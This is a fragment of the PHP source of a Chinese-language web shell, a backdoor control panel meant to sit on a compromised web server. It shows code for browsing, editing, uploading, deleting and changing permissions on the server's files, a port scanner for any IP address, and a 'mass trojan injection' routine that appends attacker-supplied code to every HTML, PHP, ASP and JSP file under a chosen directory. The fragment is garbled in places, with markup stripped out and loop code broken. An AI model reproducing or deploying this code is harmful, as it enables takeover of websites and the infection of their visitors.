!
■服务器IP:
■运行环境:
■MySQL:
■脚本路径:
|
PHPINFO License: ';
foreach($licensehack as $license){
echo chr();
}
echo '■执行页面用时'.pagetime().'秒■ | |
';
/*------------函数-------------*/
//文件目录列表
function ofile($path){
$pathw=is_writable($path) ? "可写" : "不可写";
echo '
';
echo '
';
echo '名称 | ';
echo '下载 | ';
echo '大小 | ';
echo '操作 | ';
echo '
';
$spider=@opendir($path);
while (false !== ($file=@readdir($spider))){
$filebug = strlen($file)>50 ? substr($file,0,50) : $file;
$filedir="$path"."$file";
$dir=@is_dir($filedir);
if($dir=="1"){
if($file!="."){
if($file==".."){
echo '';
echo '[返回上级目录] | ';
echo '=== | ';
echo '=== | ';
echo '=== |
'."\n";
}
else{
$dirw=is_writable($filedir) ? "可写" : "不可写";
echo '';
echo '1'."$filebug".'';
echo ' | '."$dirw".' | ';
echo 'dir | ';
echo '';
echo '[ 删除] ';
echo '[ 属性] ';
echo '[ 改名] |
'."\n";
}
}
}
}
@closedir($spider);
$spider=@opendir($path);
while (false !== ($file=@readdir($spider))){
$filebug = strlen($file)>50 ? substr($file,0,50) : $file;
$filedir="$path"."$file";
$dir=@is_dir($filedir);
$pathg=str_replace('\\', '/', dirname(__FILE__)).'/';
$fileurl = str_replace($pathg,'',$path);
if($dir=="0"){
if($file!='..'){
$fsize=@filesize($filedir);
$fsize=$fsize/1024;
$fsize=@number_format($fsize, 3);
echo '';
echo '4 '."$filebug".' | ';
echo ' | ';
echo ''."$fsize".' KB | ';
echo '';
echo '[ 编辑] ';
echo '[ 删除] ';
echo '[ 属性] ';
echo '[ 改名] [ 拷贝] |
'."\n";
}
}
}
@closedir($spider);
echo '
';
}
//返回
function back(){
echo '
[返回]';
}
function fanhui($p){
echo '
[返回]';
}
//处理路径
function opath($scriptpath,$nowpath) {
if ($nowpath == '.') {
$nowpath = $scriptpath;
}
$nowpath = str_replace('\\', '/', $nowpath);
$nowpath = str_replace('//', '/', $nowpath);
if (substr($nowpath, -1) != '/') {
$nowpath = $nowpath.'/';
}
return $nowpath;
}
function uppath($nowpath) {
$pathdb = explode('/', $nowpath);
$num = count($pathdb);
if ($num > 2) {
unset($pathdb[$num-1],$pathdb[$num-2]);
}
$uppath = implode('/', $pathdb).'/';
$uppath = str_replace('//', '/', $uppath);
return $uppath;
}
//创建目录
function redir($repath){
echo "
创建到当前路径: $repath
";
echo '
';
fanhui($repath);
if($_POST['subdir']){
$redir=$_POST['redir'];
$repathok="$repath"."$redir";
if(stristr($redir,'/')){
echo '
目录名错误
';
}
elseif(file_exists($repathok)){
echo '
目录'."$redir".'已存在
';
}
else{
$msg=@mkdir($repathok,0777) ? '
目录'."$redir".'创建成功
' : '
目录'."$redir".'创建失败
';
echo "$msg";
}
}
}
//创建文件
function refile($ref){
echo '
'; fanhui($ref);
if($_POST['subfile']){
$refile=$_POST['refile']; $text=$_POST['text'];
$fp=@fopen($refile,'w');
if($fp==null){
echo '
创建文件失败!
';
}
else{
@fwrite($fp,stripslashes($text));
@fclose($fp);
echo "";
}
}
}
//上传文件
function upload($pathname){
echo '
允许最大单个上传文件:'.@get_cfg_var('upload_max_filesize');
echo '
'; fanhui($pathname);
if($_POST['upok']){
$uppath=$_POST['up'];
echo @copy($_FILES['upfile']['tmp_name'],"".$uppath."/".$_FILES['upfile']['name']."") ? "上传文件{$_FILES['upfile']['name']}成功!
" : "上传文件{$_FILES['upfile']['name']}失败!
";
}
}
//编辑文件
function edit($p,$f){
$ep="$p"."$f";
$hackfp=@fopen($ep,'r');
$redspider=@fread($hackfp, filesize($ep));
$redspider=htmlspecialchars($redspider);
echo '
编辑文件:'."$ep";
echo '
'; back();
if($_POST['editok']){
$fp=@fopen($ep,'w');
if($fp==null){
echo '保存失败
';
}
else{
$ftext=$_POST['ftext'];
fwrite($fp,stripslashes($ftext));
fclose($fp);
echo "";
}
}
}
//删除文件
function del($dp,$df,$i){
$delfile="$dp"."$df";
if(!file_exists($delfile)) {
echo '
文件'."$df".'不存在! ';
if($i=="1")
back();
else
fanhui($dp);
}
else {
$msg = @unlink($delfile) ? '
文件'."$df".'删除成功!
' : '
删除失败!
';
echo "$msg";
if($i=="1")
back();
else
fanhui($dp);
}
}
//属性
function perms($pp,$pf){
$pfile="$pp"."$pf";
$pold=substr(base_convert(fileperms($pfile),10,8),-4);
$ftime=@date("Y-n-d H:i:s",filectime("$pfile"));
echo '
'."$pfile".' 的当前属性为: '."($pold)".' 修改日期: '."$ftime".'
'; fanhui($pp);
if($_POST['subperms']){
$pnew=$_POST['pfo'];
$fileperm=base_convert($pnew,8,10);
$msg=@chmod($pfile,$fileperm)?"更改成功!":"更改失败!";
echo "";
}
}
//重命名
function ref($rp,$rf){
$rpf="$rp"."$rf";
echo '
'; fanhui($rp);
if($_POST['subref']){
$newf=$_POST['newf'];
$newfile="$rp"."$newf";
$msg = file_exists($rpf) ? (@rename($rpf,$newfile) ? "重命名为{$newf}成功" : "重命名为{$newf}失败") : "不存在";
echo "";
}
}
//拷贝文件
function cfile($cp,$cf){
$cpf="$cp"."$cf";
echo '
文件: '."$cpf".'
';
fanhui($cp);
if($_POST['subcfile']){
$newf=$_POST['newf'];
if(file_exists($newf)){
echo '失败:文件'."$newf".'已存在
';
}
else{
$msg = @copy($cpf,$newf) ? '文件 '."$cpf".' 拷贝到 '."$newf".' 成功!
' : '失败,路径出错或不可写!
';
echo "$msg";
}
}
}
//删除目录
function deldir($dp,$dd){
$deldir="$dp"."$dd";
if(isset($deldir)) {
$msg = file_exists($deldir)?(deltree($deldir)?"删除成功":"删除失败"):"不存在";
echo '
目录'."$dd"."$msg"; fanhui($dp);
}
}
function deltree($dpath){
$mydir=@opendir($dpath);
while($file=@readdir($mydir)){
if((is_dir("$dpath/$file")) && ($file!=".") && ($file!="..")) {
if(!deltree("$dpath/$file")) return false;
}else if(!is_dir("$dpath/$file")){
@chmod("$dpath/$file", 0777);
if(!@unlink("$dpath/$file")) return false;
}
}
@closedir($mydir);
@chmod("$dpath", 0777);
if(!@rmdir($dpath)) return false;
return true;
}
//页面执行时间
function pagetime(){
global $stime;
$paget = explode(' ', microtime());
$ptime = number_format(($paget[1] + $paget[0] - $stime), 6);
return $ptime;
}
function array_stripslashes(&$array) {
while(list($key,$var) = each($array)) {
if ((strtoupper($key) != $key || ''.intval($key) == "$key") && $key != 'argc' && $key != 'argv') {
if (is_string($var)) $array[$key] = stripslashes($var);
if (is_array($var)) $array[$key] = array_stripslashes($var);
}
}
return $array;
}
//端口扫描
function port($serverip,$scanip){
if (!empty($scanip)){
$ips=explode(".",$scanip);
if (intval($ips[0])<1 or intval($ips[0])>255 or intval($ips[3])<1 or intval($ips[3]>255)) err();
if (intval($ips[1])<0 or intval($ips[1])>255 or intval($ips[2])<0 or intval($ips[2]>255)) err();
$closed='此端口目前处于关闭状态';
$opened='
此端口目前处于打开状态';
$close="关闭";
$open="
打开";
$port=array(21,23,25,79,80,110,135,137,138,139,143,443,445,1433,3306,3389,43958);
$msg=array('Ftp','Telnet','Smtp','Finger','Http','Pop3','Location Service','Netbios-NS','Netbios-DGM','Netbios-SSN','IMAP','Https','Microsoft-DS','MSSQL','MYSQL','Terminal Services','Serv-U');
echo "
扫描目标IP: $scanip
";
echo '
';
echo "";
echo "端口 | ";
echo "服务 | ";
echo "结果 | ";
echo "描述 | ";
echo "
";
for($i=0;$i".$port[$i]." | ".$msg[$i]." | ".$close." | ".$closed." | \n";
} else {
echo "".$port[$i]." | ".$msg[$i]." | ".$open." | ".$opened." |
";
}
}
echo "";
echo "继续扫描>> ";
echo '扫描用时: '.pagetime().'秒 |
';
exit;
}
echo "
";
}
function err(){
die("
该IP地址不合法
[返回]");
}
//批量挂马
function guama($redzz1){
$redzzz=str_replace('\\','/',__FILE__);
echo '
[
批量挂马 |
批量清马]
';
if($_POST['submit']){
echo '
目标文件:';
$path=$_POST['path'];
$red=$_POST['text'];
$redzz="\n".stripslashes($red);
hongzz($path,$redzz,$redzzz);
}
}
function hongzz($path,$redzz,$redzzz){
$spider=@opendir($path);
if($spider=="0")
die('
提示: 路径出错或不存在');
while ($file=@readdir($spider)){
if($file!='.' && $file!='..'){
$filepath="$path"."/"."$file";
$filepaths=str_replace('//','/',$filepath);
if(@is_dir($filepaths)=="1"){
$pathss="$path"."/"."$file"."/";
$pathsss=str_replace('//','/',$pathss);
hongzz($pathsss,$redzz,$redzzz);
}
if(@is_dir($filepaths)=="0"){
if(hack($file)!=true)
{echo '
忽略---'."$filepaths".'
';}
elseif(@fopen($filepaths,'a')==null){
echo '
失败---'."$filepaths".'---文件或目录不可写!
';
}
elseif($filepaths!=$redzzz){
$fp=@fopen($filepaths,'a');
@fwrite($fp,$redzz);
@fclose($fp);
echo '
成功---'."$filepaths".'
';
}
}
}
}
@closedir($spider);
}
function hack($f){
$img=array(".html",".shtml",".htm",".asp",".php",".jsp",".cgi",".aspx");
foreach($img as $i){
if(stristr($f,$i))
return true;
}
}
//批量清马
function qingma($redzz1){
$redzzz=str_replace('\\','/',__FILE__);
echo '
[
批量挂马 |
批量清马]